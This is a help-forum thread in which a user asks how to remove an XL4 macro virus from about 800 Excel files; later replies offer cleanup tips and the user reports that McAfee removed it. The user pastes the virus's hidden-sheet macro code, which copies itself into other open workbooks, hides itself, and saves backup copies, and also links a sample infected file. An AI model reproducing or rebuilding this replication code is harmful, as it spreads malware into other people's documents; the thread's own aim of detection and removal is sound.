• Status: Solved
  • Priority: Medium
  • Security: Public
  • Views: 1087
  • Last Modified:

help me to kill a macro in excel files

I have some very important excel files and they are infected with a macro that make me into trouble. I try to use some anti virus programs but it's not help me. Some programs do not know the macro and other killed my files.

Please help me to kill the virus with out effect my files, I have about 800 excel files


My file has only some text but its size so big, and it has a hidden sheet with the following code

*** Khoi dau ***            *** Dong lai ***            *** Doan macro sao chep ***      TRUE      ~        
ERROR(FALSE;$E$3)            ERROR(FALSE;$E$3)            ERROR(FALSE;$E$3)      BID FORM 2.xls      BID FORM 2.xls
=ECHO(FALSE)            WORKBOOK.HIDE("["&$G$2&"]"&$G$1;FALSE)            =FOR("_Count",1,COLUMNS(DOCUMENTS()))            
=SET.VALUE($G$2,GET.DOCUMENT(88))            =RUN($E$2)            =SET.VALUE($F$1,FALSE)            
=WORKBOOK.HIDE($G$1,FALSE)            WORKBOOK.HIDE("["&$G$2&"]"&$G$1;TRUE)            =SET.VALUE($F$2,"")            
=SAVE.COPY.AS("LuuNgay" & TEXT(TODAY(),"dd-mm-yyyy") & GET.DOCUMENT(88))                        =SET.VALUE($F$3,"")            
=ON.SHEET(,"Auto_Close")                                    
                        BookName=INDEX(DOCUMENTS(),_Count)            
                        =SET.VALUE($F$2,BookName)            
                        =FOR("__Count",1,COLUMNS(GET.WORKBOOK(1,BookName)))            
*** Virus nay chep sao luu file bi nhiem                        SheetName=INDEX(GET.WORKBOOK(1,BookName),__Count)            
vao thu muc hien hanh voi ten LuuNgay                        =IF(SheetName="["&BookName & "]" &$G$1)            
va ngay duoc luu                        =SET.VALUE($F$1,TRUE)            
*** Day la virus co loi                        =END.IF()            
*** Ta rat ghet nhung virus pha hoai                        =NEXT()            
nguoi khac                                    
                        =IF($F$1=FALSE)
                        =WORKBOOK.COPY("["&$G$2&"]" & $G$1,BookName)
                        =WORKBOOK.HIDE("["&BookName & "]" &$G$1,TRUE)
            =RETURN()            =END.IF()
=RETURN()                        =NEXT()
                        =RETURN()


Here is a sample file

_http://rapidshare.com/files/4074328/BID_FORM_2.rar

Thanks so much
0
tamyeu
Asked:
tamyeu
1 Solution
 
Dushan De SilvaCommented:
In Excel We can allow to run only signed trusted Macros.

Tools --> Macro --> Security --> Select "High"


BR Dushan
0
 
tamyeuAuthor Commented:
If i do so i can not open the my file.

My request is that clean the macro and make the file smaller.

Please help me.
0
 
sr1xxonCommented:
try this.. should alleviate most problems with your macros.

http://www.appspro.com/Utilities/CodeCleaner.htm

HTH.
0
Independent Software Vendors: We Want Your Opinion

We value your feedback.

Take our survey and automatically be enter to win anyone of the following:
Yeti Cooler, Amazon eGift Card, and Movie eGift Card!

 
tamyeuAuthor Commented:
Maybe it's not the answer, because its code is written in old fomat not VBA, the code is writen on the sheet of the files, you can download my sample

I tried the Codecleaner but it could not help.

Thanks for your answer, please help me.

0
 
BeringhsCommented:
Hi.
Can't you open your file with the shift key pressed? That way no auto_open macro will run, and you should be able to unhide and kill the XL4 macro sheet.

Hope this helps.

Vincent
0
 
tamyeuAuthor Commented:
I tried to do so but  it made the file error further more  it's difficult for me do it manually because i have over 800 excel files.

error message here
http://img218.imageshack.us/img218/8250/untitledkh1.png

Help me, help me please
0
 
tamyeuAuthor Commented:
Ok, the answer is Mcafee, thanks all for help
0
 
sr1xxonCommented:
tamyeu, can you answer the following pls

what was the virus?
did mcafee successfully remove all instances of it?
were you using any antivirus beforehand - was it using up-to-date definitions?



0
 
tamyeuAuthor Commented:
The virus name is X97F/Yagnuul.gen
yes, Mcafee removed successfully
before using Mcafee i used Bitdefender, kaspersky, Nod32, BKV... some programs did not know the virus and other do not know anything. Finally i used Mcafee 2007 trial version and it's successful
0
 
Computer101Commented:
PAQed with points refunded (500)

Computer101
EE Admin
0

Featured Post

Prep for the ITIL® Foundation Certification Exam

December’s Course of the Month is now available! Enroll to learn ITIL® Foundation best practices for delivering IT services effectively and efficiently.

Tackle projects and never again get stuck behind a technical roadblock.
Join Now